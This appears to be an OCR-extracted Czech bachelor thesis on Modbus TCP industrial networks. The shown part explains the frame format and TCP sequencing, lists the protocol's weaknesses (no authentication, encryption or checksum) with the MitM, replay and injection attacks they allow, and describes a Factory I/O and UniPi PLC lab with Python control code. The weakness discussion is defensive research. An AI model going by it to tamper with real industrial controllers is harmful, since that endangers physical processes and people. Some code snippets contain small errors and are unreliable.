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Abstrakt

Préce se zabyva pocitacovymi toky na prumyslové sité a zpusobim detekce téchto utoku
pomoci protokolu IPFIX. Konkrétné jde o itoky na protokol rodiny TCP/IP Modbus TCP.
Jsou zde popsany slabiny protokolu Modbus TCP. A také jakym zpusobem se jich da zne-
uzit a jak se miizeme branit. Déle lze v této praci nalézt postupy pro vytvareni virtudlni
prumyslové tovarny v prostiedi Factory I/O a piiklady prumyslovych procesi, fizenych
PLC zarizenimi UniPI.

Abstract

This bachelor thesis describes cyber attacks on industrial networks and methods of detecting
these attacks using the IPFIX protocol. More explicitly attacks on the TCP/IP protocol
Modbus TCP. There are also described the weaknesses of the Modbus TCP protocol. How
can we attack the shortcomings and how can we defend against attack. Furthermore, in this
work, you can find procedures for creating a virtual industrial factory using the Factory
I/0 software and examples of industrial processes controlled by UniPI PLC devices.
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Kapitola 1

Uvod

Cilem této prace je generace vybranych titoki na prumyslové sité Modbus a jejich detekce
pomoci monitorovani IPFIX. Konkretné se v praci zamérime na protokol Modbus TCP.

Pro demonstraci ttokt bylo realizovano nékolik primyslovych procesi a to pomoci
zarizeni UniPI a simuldtoru Factory 1/0.

Obsahem této prace je sezndmeni s protokolem Modbus TCP, jeho typické chovani a
zname slabiny. Popis realizace dvou konkrétnich prumyslovych scénaitu v jazyce Python
pomoci nastroju UniPI a FactorylO. Témito scénari jsou chytry sklad a montazni linka.
Nakonec pak realizace vybranych utoku a detekce téchto itokti pomoci zaznamu IPFIX.

Tato prace nam muze pomoct zajistit detekci itok na pramyslovych sitich Modbus
a celkové odhalit slabiny a rizika téchto siti. Rovnéz v této praci muzeme nalézt postupy
pro vytvareni virtudlni prumyslové tovarny v prostiedi Factory I/O véetné konfigurace a
fyzického propojeni jednotlivych zafizeni PLC a také konkretnich programovych feseni.



Kapitola 2

Primyslova sit Modbus

Diky vetsi poptavce po automatizaci a digitalizaci prumyslovych procest se ICS (Industrial
Control Systems) stavaji vice populdrni. ICS propojuji fyzické procesy s inteligentnimi za-
Fizenimi, jako jsou PLC (Programmable Logic Controller), RTU (Remote Terminal Units)
nebo IED (Intelligent Electronic Devices), které jsou obvykle pripojeny do HMI (Human
Machine Interface) a ovladany pomoci SCADA (Supervisory Control and Data Acquistion)
serveru. Typické protokoly pro fizeni ICS/SCADA systému se velmi lisi od protokolu, které
umoznuji Fizeni klasickych TCP /IP sitovych sluzeb. Protokoly pro fizeni ISC/SCADA jsou
proprientdlni (Simens S7, Modicon Modbus, OPC) ¢ stadartizovany dle ISO/TEC (Goose,
MMS nebo DLMS) [16]. V této kapitole se zamérime na protokol Modbus TCP, coz je upra-
vend verze puvodniho protokolu Modbus, kterd funguje nad protokolem TCP [14]. Déle si
také ukazeme architekturu siti Modbus, format Modbus TCP paketi, ukazku komunikace
mezi jednotlivymi zafizenimi, jenz vyuzivaji protokol Modbus TCP a bezpec¢nostni slabiny
protokolu Modbus TCP.

2.1 Modbus TCP

Protokol Modbus byl puvodné navrzeny pro sériovou komunikaci pres RS232. V dnesni
dobé se Modbus pouziva na sitich IP pod protokolem TCP, kde standardné vyuziva port
502 [16]. Modbus TCP je aplikacéni protokol ISO/OSI modelu, ktery funguje nad TCP.
Typickou prumyslovou sit, jenz vyuziva protokol Modbus TCP mutzeme vidét na ob-
razku 2.1. Vidime zde dvé klicova zarizeni, témi jsou Modbus master a zarizeni PLC v roli

Internet Modbus

master

L .

PLC 1 PLC 2 PLC 3 PLC 247

Obrazek 2.1: Pramyslova sit Modbus TCP



slave. Jednotlivé zafizeni jsou propojeny pres ethernetovou linku a v tomto konkrétnim pri-
kladu maji skrze smérova¢ pristup na internet. Protokol Modbus TCP vyuziva architekturu
master /slave. Modbus master aktivné ziskava informace ze zatizeni typu slave tim, ze zasila
pakety Modbus TCP a zafizeni typu slave odpovidaji a provadi prikazy jenz jim master
poslal, témto zpravam se 1ika querry (dotaz) a response (odpovéd). Modbus déle poskytuje
pakety typu exception response (odpovéd typu vyjimka), ty generuji zatfizeni slave v pripadé
chyb. Kazdé sit Modbus obsahuje jedno zafizeni typu master a az 247 zafizeni typu slave
[16]. Protokol Modbus specifikuje jednoduchou sadu operaci, které muzeme provadét se za-
fizenim typu slave. Mezi tyto operace patii zapisovani a ¢teni registru, coilu (jednobitova
hodnota v registru) nebo zaznamu o souborech [16].

Protokol Modbus neposkytuje zddné bezpeénostni mechanismy pro ochranu pred odpo-
slechem ¢i pro zaruceni integrity dat podrobnéji v kapitole 2.2 [16].

Hlavicka protokolu Modbus TCP

Na obrazku 2.2 mame zobrazeny ethernetovy ramec protokolu Modbus TCP. Pomineme-li
hlavicky protokolu nizsich vrstev (ethernetova hlavicka, IP hlavicka a TCP hlavicka), tak
se Modbus TCP ramec skldda ze dvou casti. Prvni ¢ast je hlavicka Modbus TCP, ta ma
sedm bajtu a oznacuje se jako MBAP (Modbus application protocol header). Druhd ¢ast
pocinajici polozkou Function Code je Modbus PDU (Protocol data unit), kterd muze byt
velkd podle toho jak je velké médme MTU (Maximum transmission unit). Modbus TCP
v podstaté pridava novou hlavicku nad ptuvodni protokol Modbus, ten obsahoval jenom
Modbus PDU [14].

Zapouzdreni
Ethernet hlavicka (14B) IP hlavicka (20B) TCP hlavicka (20B)
Modbus TCP—> | Transaction ID (2B) | | Protocol ID (2B) Lenght (2B) Unit ID (1B) ]_ Hiavicka Modbus TCP
1
fouy
Function Code (1B) DATA :|— Modbus

Obrazek 2.2: Ramec protokolu Modbus TCP

Na obrazku 2.2 muzeme vidét, ze MBAP obsahuje ¢tyTi pole a jeho celkova velikost
je 7 bajti. Prvnim polozkou MBAP je pole Transaction ID, to nam rozliSuje jednotlivé
transakce. Protocol ID nam jednoznacné identifikuje protokol, v pripadé Modbusu je to
hodnota nula. Pole Lenght ndm urcuje kolik bajta jesté zbyva do konce paketu pocinaje
polozkou Unit ID. Unit ID je jedinecny identifikator zafizeni typu slave, pro ktery je paket
uréen [19].

Modbus PDU ndm na prvnim bajtu nese polozku Function Code ve zbytku bajti se
nachéazi data. Function Code nam definuje konkrétni funkci protokolu Modbus a tim padem
i samotnou podobu dat. Naptiklad na dotaz se specifikovanou funkci typu Read Register
bude odpovéd v polozce DATA obsahovat hodnotu registru, na ktery jsme se dotazovali.



Function Code nam poskytuje ruzné prikazy. Mezi nejpouzivanéjsi prikazy patii Read /Write
coil, coz je precteni nebo zdpis néjakého konkrétniho bitu z registru, Read/Write registr pro
¢teni a zapis konkrétniho registru, Read/Write File Record pro zapis a ¢teni ze soubort.
Dale jsou zde tieba piikazy pro diagnostiku a ruzné variace prikazu pro zapis a ¢teni [16].
Prehled jednotlivych poli protokolu Modbus TCP je na nasledujici tabulce ¢islo 2.1.

Tabulka 2.1: Pfehled poli protokolu Modbus TCP [10]

Jedinecné ¢islo, které nam rozlisuje jednotlivé Modbus
TCP transakce. Transakcemi je myslena dvojice paketu
typu request a response. Zarizeni Master posila dotaz s
uréitym Transaction ID a odpovéd na tento dotaz bude
obsahovat shodné Transaction ID. Toto ¢islo je gene-
rovano ndhodné.

Transaction ID (2B)

Jednoznacné identifikuje protokol, v pripadé Mod-

Protocol ID (2B) busu je to vzdy hodnota nula.

Pole Lenght nam urcuje kolik bajtt jesté zbyva do
konce paketu pocinaje polozkou Unit ID. Coz zna-
mend velikost pole Unit ID [B] + velikost pole
Function Code [B] + data [B].

Unit ID je jedineény identifikdtor zafizeni typu slave,
Unit ID (1B) pro ktery je paket uréen nebo na, ktery zarizeni slave
odpovida.

Lenght (2B)

Function Code nam definuje konkrétni funkci protokolu

Function Code (1B) Modbus

Ukazka komunikace protokolu Modbus TCP

Na obrazku ¢islo 2.3 mame ukazku komunikace sité Modbus mezi zafizenimi Master a Slave,
konkrétné se jedna o dvé zpravy typu request a dvé zpravy typu response, coz jsou odpovedi
na dané requesty. Komunikace je tedy prikladem dvou Modbus TCP transakci.

V prvni transakci chece zarizeni master zjistit hodnoty konkretnich bitd v registru zari-
zeni slave. Transakce je identifikovand hodnotou Transaction ID 3264. Vidime, ze master
zahajuje komunikaci paketem request s nastavenou hodnotou function code na jedna, coz
znamend precteni konkretnich bitu z registru zarizeni slave. Reference number nam udava
adresu v paméti, na které maji byt precteny bity a Bit Count nam rika kolik biti se ma
precist, v nasem pripadé budeme Cist ¢tyii bity z adresy ¢islo ¢tyfi. V odpovédi, jenz ma
stejné Transaction ID mame pak v datové ¢asti hodnoty jednotlivych bitu. Timto zptisobem
se napriklad mtizeme doptat na hodnoty c¢idel ptipojenym k zafizenim PLC.

Druhé transakce oznacena identifikatorem 45522 je podobna jako transakce prvni s tim
rozdilem, ze provadi zapis do registru. Muzeme si v8imnout, Ze polozka Lenght v tomto
pripadé nebude stejna pro dotaz a odpovéd, protoze v dotazu odesilame data, ktera se maji
zapsat do registru. Reference Number nam opét udava adresu, kde chceme data zapsat a
Bit Count fika kolik dat budeme zapisovat. V odpovédi se nenachézeji zadné data a je mensi
nez samotny dotaz.



Master

Slave
AR
Transaction ID: 3264 Function Code: 1
Protocol ID: 0 Read Caoils
Dotaz ( ) >
Lenght: 4 Reference Number: 4
Unit ID: 1 Bit Count: 4
Transaction ID: 3264 Function que: 1
Protocol ID: 0 (Read Colls)
Odpovéd [« ' Byte Count; 1
Lenght: 4 . .
Unit ID: 1 bit4: 1 bit 5: 0
’ bit 6: 0 bit 7: 0
Transaction ID: 45522 Funct'lon Cer: 15 .
Protocol ID: 0 (Write Multiple Coils)
Lenght B ’ Reference Number: 0 >
Dotaz Uiri]tng: . Bit Count: 4
' Data: 0x0c
) Function Code: 15
Transaction ID: 45522 tne '|on 0 'e .
Protacol ID: 0 (Write Multiple Coils)
Odpovéd [« Lenght: 6 ’ Reference Number: O
enght: .
. Bit Count: 4
Unit ID: 1 ftoun

Obrazek 2.3: Ukazka komunikace protokolu Modbus TCP

Fungovani protokolu Modbus z pohledu TCP

Pro plné pochopeni protokolu Modbus TCP je potieba znat fungovani transportniho pro-
tokolu TCP. My si na nasledujicim prikladu Modbus TCP komunikace alespon kratce vy-
svétlime nékteré aspekty TCP, které jsou podstatné pro tuto praci.

Napriklad pti injektovani pakett je tto¢nik jen velmi tézce schopen injektovat paket do
existujictho Modbus TCP streamu, v pripadé ze nevi, jak funguji sekvené¢ni ¢isla a nema
znalosti TCP priznakt, které Modbus TCP ve své komunikaci typicky vyuziva.

Typickd komunikace protokolu Modbus TCP, stejné jako jinych protokold, které se
pouzivaji pro fizeni ICS, se sklad4 z mnoha malych paketti, coz znamena, ze vétsinu obsahu
paketu tvori hlavicky protokolu vyssich vrstev [17].

V prikladech prumyslovych procesu, které jsou vice popsany v kapitole ¢islo 3, Modbus
master navaze jedno TCP spojeni s kazdym zafizenimi typu slave a toto spojeni pak existuje,
pokud mozno, co nejdéle, bez resetovani ¢i jeho ukoncéeni pomoci RST nebo FIN priznaku.

Modbus TCP v kazdém paketu, ktery mize byt dotaz nebo odpovéd, nastavuje priznaky
PSH a ACK. Je tieba si uvédomit, ze komunikace je oboustranna, tedy jak master, tak slave
prijimaji a vysilaji data. Proto i kdyz posilame data je v kazdém paketu pfitomen piiznak
ACK, ktery potvrzuje predchozi prijaté data [21].

Na obrazku ¢islo 2.4 si mizeme vSimnout, ze Ack Cislo je vzdy rovno predchozimu
sekven¢nimu ¢islu plus poctu prijatych bajtl, tedy TCP payloadu, neboli velikosti Modbus



TCP casti paketu Ack = Seq + TCP payload, coz potvrzuje prijeti bajti. To samoziejmeé
plati v obou smérech.

A jelikoz se jeden Modbus prikaz a odpovéd na néj vzdy vleze do jednoho paketu, tak
se v kazdém paketu nastavi priznak PSH, ktery tika, at se Modbus ptikaz rovnou vykona,
a ze neni potfeba nijak kesovat vice TCP paketu pred jejich vykonanim [21].

Na obrazku ¢islo 2.4 vidime navazani TCP spojeni mezi zafizenimi master a slave, kdy
si muzeme vsSimnout, ze spojeni iniciuje zarizeni Master, coz plati vzdy v Modbus TCP siti.
Pak zde jsou dvé Modbus transakce. Obé transakce maji rtizné velky TCP payload. To jak
velky je TCP payload nam ovliviiuje vyvoj Seq a Ack, jejichz odhad je zasadni pro rizné
utoky. Nebot v piipadé nespravnych sekvenénich ¢isel bude paket na zarizeni slave zahozen
[21].

Master Slave
AR
xxm
SYN seq=70
SYN ACK seq=1000 ack=71
TCP handshake |«
ACK ack=1001
Modbus Dotaz
PSH ACK seq=5000 ack=2500
TCP payload 128 |
Modbus Odpovéd
PSH ACK seq=2500 ack=5012
< TCP payload 10B
Modbus Dotaz
PSH ACK seq=5012 ack=2510
TCP payload 8B >
Modbus Odpovéd
PSH ACK seq=2510 ack=5020
<€ TCP payload 8B

Obrazek 2.4: Ukazka komunikace protokolu Modbus z pohledu TCP

2.2 Bezpecnostni slabiny protokolu Modbus TCP

Protokol Modbus TCP ma nékolik bezpecnostnich slabin mezi které patii: chybéjici au-
tentizace, chybéjici sifrovani a chybéjici kontrola integrity dat pomoci kontrolniho souctu.



Proto by se mél Modbus TCP pouzivat jenom pro komunikaci omezeného poc¢tu znamych
zafizeni v uzavieném prostredi s pfedem danou mnozinou funkei (Function Codes) [14]. V
tomto pripadé muzeme Modbus TCP jednoduseji monitorovat, rozdélit do sifovych zon a
vyhleddvat anomalie, naptiklad pomoci statistickych metod a protokolu IPFIX viz kapitola
¢islo 5.

Chybéjici autentizace

Jediné co protokol Modbus TCP vyzaduje je pouziti validni Modbus adresy (Unit ID), va-
lidn{ funkce (Function Code) a ke kazdé funkeci musi byt odpovidajici formét dat. Data musi
obsahovat hodnoty registrii nebo coilu, které zaiizeni slave skutecné m4, jinak bude paket
odmitnut. Na druhou stranu zde neexistuje mechanismus pro ovéreni zda-li zprava skutecné
pochézi od daného zafizeni, to umoznuje jednoduché utoky typu man-in-the-middle (MitM)
nebo replay attack [14].

Chybéjici Sifrovani

Prikazy a adresy zafizeni jsou posilany jako prosty text. Diky tomuto faktu muzeme zjistit
informace o dané siti a vydavat se za libovolné zarizeni. Zaroven nam diky chybéjicimu
sifrovani mohou pakety Modbus TCP poskytnout citlivé informace o zafizenich [14]. Na-
priklad se ze ziskanych informaci muzeme dozvédét jak presné néjaky prumyslovy proces
funguje nebo hure jak zptsobit co nejvétsi skody.

Chybéjici kontrolni soucet

Kontrolni soucet je generovan pouze na transportni vrstvé nikoliv aplikacni. Jelikoz se kon-
trolni soucet aplikac¢ni ¢asti paketu nijak nevytvari, muzeme tak jednoduse poslat Modbus
TCP prikaz se spravnymi parametry a ovlivnit fungovani sité [14].

2.3 Shrnuti

Vyse v této kapitole byla popsana pramyslova sit Modbus. Je zde jeden priklad této pru-
myslové sité, jenz vyuziva protokol Modbus TCP.

Modbus TCP je aplika¢ni protokol ktery se vyuziva pro fizeni primyslovych procesu.
Jedna se o protokol, ktery funguje nad transportnim protokolem TCP. Vyuziva architekturu
master /slave. Zafizeni master funguje jako ridici jednotka v prumyslovych sitich Modbus,
jenz komunikuje a ¥{di zatizeni slave.

Daéle popisujeme format PDU (Protocol Data Unit) Modbus TCP, to obsahuje pole:
(Transaction ID, Protocol ID, Lenght, Unit ID, Function Code a Data) a také ukazujeme
celkové zapouzdieni Modbus do PDU nizsich vrstev.

Kapitola obsahuje detailni piiklad komunikace na Modbus TCP siti a to jak z pohledu
aplika¢niho s durazem na pole Modbus TCP hlavicky, tak i z pohledu TCP s durazem na
vyvoj sekvencnich Cisel. Je zde popsano také specifické chovani protokolu TCP v kontextu
Modbus TCP komunikace.

Na konec zminujeme slabiny protokolu Modbus TCP, kterymi jsou: chybéjici autenti-
zace, chybéjici Sifrovani a chybéjici kontrolni soucet.



Kapitola 3

Simulace priumyslovych procesi

V této ¢asti jsou popsany realizace dvou konkrétnich scénart primyslovych procesi, kterymi
jsou inteligentni sklad a montazni linka. Tyto scéndfe nam reprezentuji typickou komuni-
kujici sit zarizeni, jenz komunikuji pfes protokol Modbus TCP. Jak na tyto primyslové
scénare zautocit, pomoci slabin protokolu Modbus TCP, je podrobnéji popsano v kapitole
4. Scénéie jsou vytvoreny ve virtualizaénim programu Factory 1/O!. Rizeny jsou skrze re-
alné zatrizeni PLC (Programmable logic Controller). Samotnd programovéa implementace
je provedena v jazyce Python3 s vyuzitim knihovny pyModbusTCP?. Vegkeré fzeni pri-
myslovych procest provadi UniPi Neuron S103 pomoci protokolu Modbus TCP [14] pies
ethernetovou sit. Z divodi omezené podpory nékterych zarizeni jsou UniPi propojené s
programem pres zafizeni Advantech USB-4750% a Advantech USB-4704° [26].

Tato kapitola také vysvétluje technologie UniPi, program Factory I/O, propojeni pro-
gramu se zafizenimi. Dale ukazuje schéma zapojeni obvodu. Popisuje hardwarové kompo-
nenty, jak virtualni, tak fyzické fungovani procesu a jejich programovou implementaci.

3.1 Technologie UniPi Neuron

UniPi Neuron je produktova fada plné programovatelnych zaiizeni PLC. Ta nejcastéji slouzi
pro automatizace prumyslovych procesu ¢i pro Fizeni monitorovani libovolnych objektt.
UniPi Neruon poskytuji feseni jako samostatné izolované zafizeni bez pfipojeni do sité
IP (Internetovy protokol) nebo tvorit rozsahlou komunikujici sit, viz kapitola 3.4. Ruzné
zarizeni z Tady Neuron se lis{ mnozstvim operac¢ni paméti, typem procesoru nebo poctem
pint a porti GPIO (General-purpose input/output) [29].

Dilezita vlastnost zarizeni UniPi Neuron PLC je to ze, dokaze vyuzivat unixovou imple-
mentaci zasobniku TCP /IP. Podporu zasobniku TCP /IP lze realizovat zavedeni unixového
opera¢niho systému pomoci SD (Secure Digital) karty. V této praci se vyuzivd Neuron-
opensource-os®. Pro nis to znamend, Ze tato zafizeni mohou vystupovat v klasickych IP

'https://docs.factoryio.com [cit. 2022-11-2]

*https://pypi.org/project/pyModbusTCP/ [cit. 2022-11-14]

Snttps://www.unipi.technology/unipi-neuron-s103-p93 [cit. 2022-11-14]

‘https://www.advantech.com/en/products/1-2mlkno/usb-4750/mod_43dfaaf0-ad4c-4437-a8c8-
0£7460c30b26 [cit. 2022-12-5]

Shttps://www.advantech.com/en/products/1-2mlkno/usb-4704/mod_4d0800cc-f6fd-402a-9782-
24cd0ffdafa? [cit. 2022-12-5]

Shttps://kb.unipi.technology/cs:hw:02-neuron: download-image: 03-opensource [cit. 2022-12-5]


https://docs.f
http://actoryio.com
https://pypi.org/project/pyModbusTCP/
http://www.unipi.technology/unipi-neuron-sl03-p93
https://www.advantech.com/en/products/l-2mlkno/usb-4750/mod_43df
https://www.advantech.com/en/products/l-2mlkno/usb-4704/mod_4d0800cc-f

sitich a mizeme je vyuzit pro fizeni prumyslovych sitich Modbus TCP [14]. Zasazeni zafi-
zeni do prumyslové sité je v této praci realizovano jako Server TCP, viz kapitola 3.3.

Pro téely této prace byla pouzitd zaiizeni PLC UniPi Neuron S1037, viz obrazek 3.1. Ta
obsahuji ethernetovy port, ¢tyti digitalni vstupy, ¢tyri digitalni vystupy, jeden analogovy
vstup a jeden analogovy vystup. Déle také maji port HDMI a nékolik portu USB [29].

Obrézek 3.1: UniPi Neruon s1038

3.2 Simulator Factory I/0

Factory 1/0? je 3D simulaéni program, ktery umoziiuje vytvafet virtudlni tovarny. Program
obsahuje typické prumyslové soucastky, které se casto vyuzivaji v prumyslu. Ty se daji
propojit a ovladat pomoci mikrokontroleri ¢i zafizenimi PLC [26].

Soucastky jsou rozdéleny do osmi kategorii: predméty (box, paleta, zelend a modra
soucéstka ...), soucdstky pro préci s tézkymi predméty (mohutnéjsi dopravniky), soucéstky
pro praci s lehkymi pfedméty (mensi dopravniky a robotické soucdstky pro posun malych
predmétil), senzory, operacni prvky (ovlddaci panel s tlacitky), stanice (robotické ramena,
vytah ...), alarmy a vychody (schody slouzici pro lidi). Prehled soucéstek je na obrézku 3.2.
Soucastky mohou obsahovat N vstupt a M vystupu, jez mohou byt analogové, digitalni,
nebo ¢iselné [26].

Pro propojeni s redlnymi zarizenimi poskytuje Factory 1/O fadu vstupné vystupnich
ovladact. Kazdy ovladac slouzi pro specifickou technologii. Ovladac¢ si pak vybirdme na
zédkladé toho, jaké PLC nebo mikrokontrolér chceme pouzit [26]. V nasem piipadé jsem
pouzili ovlada¢ Advantech USB 4750 & USB 4704 pro fyzické zafizeni PLC s obdobnym
jménem.

"https://www.unipi.technology/unipi-neuron-s103-p93 [cit. 2022-12-5]
https://docs.factoryio.com/manual/parts/img/fio-parts-overview.jpg [cit. 2022-11-19)
“https://docs.factoryio.com [cit. 2022-11-2]
https://docs.factoryio.com/manual/parts/ [cit. 2022-11-19)]
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Obrazek 3.2: Piehled soucastek Factory 1/0 10

Princip automatizace je velmi jednoduchy a da se demonstrovat na trividlnim piikladu,
kdy posouvame krabice po programové fizeném dopravniku, viz obrazek 3.2. Méjme scénu
s jednim dopravnikem a jednim pohybovym senzorem. Chceme-li, aby se krabice posouvala
po dopravniku az do doby, nez ji zaznamena senzor pohybu, tak budeme udrzovat dopravnik
aktivni, dokud senzor nezaznamena pohyb.

Obrazek 3.3: Dopravnik se senzorem pohybu

Schéma zapojeni je na obrazku 3.4.
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program.py

Modbus TCP
Dopravnik Cidlo pohybu
eth0
L

UNIPI PLC
192.168.88.251

Digitalni vystupy Digitaini vstupy

Obréazek 3.4: Schéma zapojeni

Na obrazku 3.4 vidime zarizeni PLC s ¢tyimi digitdlni vystupy, ¢tyimi digitalni vstupy
a ethernetovym portem. Na jeden digitalni vystup je zapojen dopravnik. Pres tento digi-
talni vystup muzeme dopravniku posilat signaly, logickd jednicka pro pohyb a logicka nula
pro zastaveni. Na digitalnim vstupu mame zapojeny senzor pohybu, v nasem prikladé tedy
aktivné ¢teme hodnoty z tohoto digitdlniho vstupu a v piipadé logické jednicky vime, ze
senzor zaznamenal pohyb. Zarizeni mé také ethernetovy port, pres ktery se muze propo-
jit se siti. Cele Tizeni provadi program.py, pomoci Modbus TCP paketu. program.py se
zarizenim PLC komunikuje skrze ethernetovy port. V nasem pripadé se fidici pakety pro
UniPi Neuron PLC generuji pomoci knihovny pyModbusTCP!!, kterd poskytuje metody pro
posilani Modbus TCP paketii. Program program.py, vypadé néasledovneé:

# pripojeni knihovny

from pyModbusTCP.client import ModbusClient

# pripojeni na zartizent PLC pomoci IP adresy a portu
plc = ModbusClient (host="192.168.88.251", port=502)
# Otevreni TCP spojeni

plc.open()

while di0 == False: # dokud cidlo pohybu nezaznamend krabict
# Zapni dopravnik. PoSli na adresu O (digigidlnt vystup &. 0) logickou jednicku
plc.write_single_coil(0, True)
# Preldti 1 bit z adresy 4 (Digitalni vstup &. 0)
di0 = self.plc.read_coils(4, 1)

Vidime, ze zdrojovy kod je velmi jednoduchy. Program jenom v cyklu ¢eka dokud do-
pravnik neposune krabici k senzoru pohybu. Knihovna pyModbusTCP ndm velmi usnadnuje

Hhttps://pypi.org/project/pyModbusTCP/ [cit. 2022-12-5]
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posilani fidicich Modbus TCP paketti, ¢teni a zapisovani do registra zatizeni, které je pro-
vadéno pomoci write_single_coil(0, True) a read_coils(4,1).

Princip dopravniku se senzorem pohybu miizeme aplikovat na libovolné soucastky, az
na malé rozdily. Prvni rozdil je, ze vice vstupl a vystupu mize #idit jednu komplexnéjsi
soucastku. Napiiklad pohyb ramene po osich x, y, z bude reprezentovan tfemi digitalnimi
vystupy viz kapitola 3.5, na rozdil od jednoho u dopravniku. Druhym rozdilem je moz-
nost pouziti analogovych a ¢iselnych vstupu a vystupi. Analogové vstupy a vystupy jsou
reprezentovany pomoci napétového rozsahu napi. 0-5V. Ciselné vstupy a vystupy pracuji
s prirozenymi ¢isly. Ovladace Advantech USB 4750 & USB 4704, které pouzivime, pod-
poruji jen analogové a digitdlni vstupy a vystupy [26]. Jak konkrétné vypada propojeni s
programem Factory 1/0 lze vidét na obrazku 3.9.

3.3 Implementace scénart priamyslovych procesii

Fyzické zapojeni

Factory I/O'2 provadi simulace priimyslovych scénaiti [26]. V nasem piipadé jsou senzory
a aktivni prvky téchto virtualnich scénaiti propojeny s vstupnimi a vystupnimi piny zari-
zenimi Advantech USB-4750 a Advantech USB-4704, ty jsou primo propojené se stanici, na
niz bézi program Factory I/0, a to pomoci rozhrani USB, pres které jsou rovnéz napajené.

UniPi PLC maji propojené piny s zafizenimi Advantech a ta skrze porty USB komunikuji
s pocitacem na, kterém je program Factory 1/O viz obrdzku 3.5 Digitalni vstupy (DIx) a
digitalni vystupy (DOx) jsou pro prehlednost na zafizenich Advantech vyzobrazeny jako 1
port.

Divod pro¢ jsou zarizeni UniPi propojeny skrze Advantech, nikoliv na pifimo, spoc¢iva v
tom, ze Factory I/O nemé ovladace, které by podporovaly zafizeni UniPi, musime je tedy
zapojit skrze zarizeni advantech, kterd jiz dokézi komunikovat s programem Factory 1/O
pomoci porti USB [26].

Advantech USB-4750 Advantech USB-4704
[uss] usB

Factory 1/O

Obrazek 3.5: Schéma zapojeni [15]

https://docs.factoryio.com [cit. 2022-12-7]
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Topologie sité

UniPi zatizen{ jsou skrze rozbocovac pripojené na stejné ethernetové lokalni siti jako Factory
I/O stanice. Zafizeni komunikuji na druhé sitové vrstvé. Jelikoz protokol Modbus TCP
funguje na aplikacéni vrstvé, tak nezalezi na tom zda-li se pakety sméruji [14].

Na obrazku 3.6 je zobrazena topologie sité. Jsou zde ¢tyri zafizeni PLC jeden rozbocovac
a stanice s program Factory I/0O. Veskeré fizeni se provadi skzre protokol Modbus TCP.
V tomto piipadé bude Fizeni a vizualizace probihat na Factory I/O stanici. Jednotlivé
zarizeni PLC maji na GPIO pfipojené rizné zafizeni a seznory, které mizeme monitorovat
¢i ovladat. Kazdé zafizeni ma sviij vlastni TCP server, kde posloucha na portu 502.

Cb Server Modbus TCP Cb Server Modbus TCP
[0 a1} UniPi Neuron S103 [0 & ] UniPi Neuron S$103 f \'_\
192.168.88.252:502 192.168.88.251:502
Senzor LLLLL Senzor LLLLL [0 & |
=
= (I b= T
Foani Senzor
Zafizeni
-
= \
LA LILE LL

Modbus TCP
paket

e
A\

o |

Factory /O stanice

192.168.88.200:49796
Senzor 11111
- #
o =] (220004} = « Modbus TCP
Zafizeni ' e p:lfet
LI I

Server Modbus TCP

UniPi Neuron S103

192.168.88.254:502
LLLLL

Dopravnik TTTTI

io 11

Senzor

;

Obrazek 3.6: Topologie sité [15]

Realizace serveru Modbus TCP

UniPi zaiizeni maji nainstalovany opera¢ni systém Neuron-opensource-os '3, ktery je ulozen
na SD karté. Tento systém vychazi z klasického unixu. Kazdé zarizeni mé spustény svij
server TCP. Na adresu daného serveru, prichazeji pakety protokolu Modbus TCP, které
Fidi ¢innost PLC. Konfigurace serveru se nachazi v souboru /etc/default/unIPitcp a
jeho obsah vypada néasledovné:

LISTEN_IP=0.0.0.0
LISTEN_PORT=502

Konfigura¢ni soubor fika, ze dané PLC bude poslouchat na vsech IP adresach daného
zalizeni, pfi¢emz port na transportni vrstvé je 502. Server se spousti pomoci piikazu:

sudo systemctl start unipitcp

"*https://neugates.io/docs/en/latest/ [cit. 2022-12-7]
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Propojeni zatrizeni UniPi s programem Factory I/0

Zatizeni UniPi PLC nejsou propojené s program Factory I/O piimo, ale skrze zafizeni
Advantech, viz obrazek. 3.5. Pro nas je vSak dulezité jak muzeme z pohledu programu
pristupovat k jednotlivym vstuptm a vystuptum zafizenich UniPi PLC, coz lze vidét na
obrazku 3.7. Mame zde dvé virtudlni zarizeni, 4704 a 4750, kterda nam ukazuji pohled z
programu Factory 1/O a ¢tyfi zafizeni UniPi PLC, které jsou propojené s ¢ernymi zarize-
nimi. Napriklad zafizeni PLC s IP adresou 192.168.88.251 mé pripojeny digitalni vstup ¢. 0
(DI0) na portu IDOO a digitalni vystup ¢. 0 (DOO0) na portu DO7. Budeme-li chtit pfipojit
dopravnik na DOO, tak ho v programu Factory I/O pfipojime k portu DO7 zafizeni 4704.

Device Number UNIPI PLC Device Number

192.168.88.251
E—
DISCONNECT DISCONNECT

1DI0

DN UNIPI PLC
192.168.88.254
D12

D13

UNIPI PLC
192.168.88.252

UNIPI PLC
102.168.88.253

Obrazek 3.7: Propojeni zarizeni s programem Factory I/O [15]

Programové rozhrani

Realizace programu je provedend pomoci programovaciho jazyka Python3. Pro mnohem
kompaktnéjsi a citelnéjsi kéd s jednodussi realizaci pramyslovych procest jsme vytvorili
abstrakci nad knihovnou pyModbusTCP a to pomoci t¥idy:

class Plc:

## Konstruktor

# argument ip je IP adresa zarizeni PLC

def __init__(self, ip):
# zaTizeni Modbus, kde ip a SERVER_PUORT 7Tika na,
# jJaké ip addrese a portu bude PLC poslouchat. My pouZivame port 502.
self .plc = ModbusClient (host=ip, port=SERVER_PORT)
self .plc.open() # otevieni TCP spojent

# digitalni vstupy

self.di0 = False
self.dil = False
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self.di2 = False
self.di3 = False

# digitalni vystupy
self.do0 = False
self.dol = False
self.do2 = False
self.do3 = False

# analogové wvstupy a vystupy
self.ao0 = 0.0
self.ai0 = 0.0

Pro zménu vnitrniho stavu PLC, resp. zmén hodnot digitalnich vystupu a vstupu, mu-
zeme pouzit existujici metody tiidy Plc prikladem muze byt:

# vytvorTeni objekiu plc
plc = P1c(192.168.0.1)

# writeDoNoClear(self, nth ,sleep, value)
# na Digitalni vystup &. 0 zapiSe logickou 1 a polkd 0.05 sekundy
plc.writeDoNoClear(0, 0.05, True)

# writeDo(self, nth ,sleep, value)
# na Digitalni vystup ¢&. 1 zapiSe logickou 1, poclka 0.05 sekundy
# a nastavi vSechny digitalni vystupy na O

plc.writeDo(1, 0.5, True)

# aktualizuje vSechny digitalnit vstupy

plc.updateDi()

Metody, jenz v nazvu obsahuji fetézec NoClear, zlstanou po odeslani paketi Modbus
TCP ve stavu, na ktery jsme je nastavili. Diky témto metodam se da celd logika prumyslo-
vych procesi, jenz jsme implementovali, viz implementace inteligentniho skladu v kapitole
¢islo 3.5 a implementace montazni linky, viz kapitola 3.4, vystihnou v nékolika mélo desit-
kach radka.
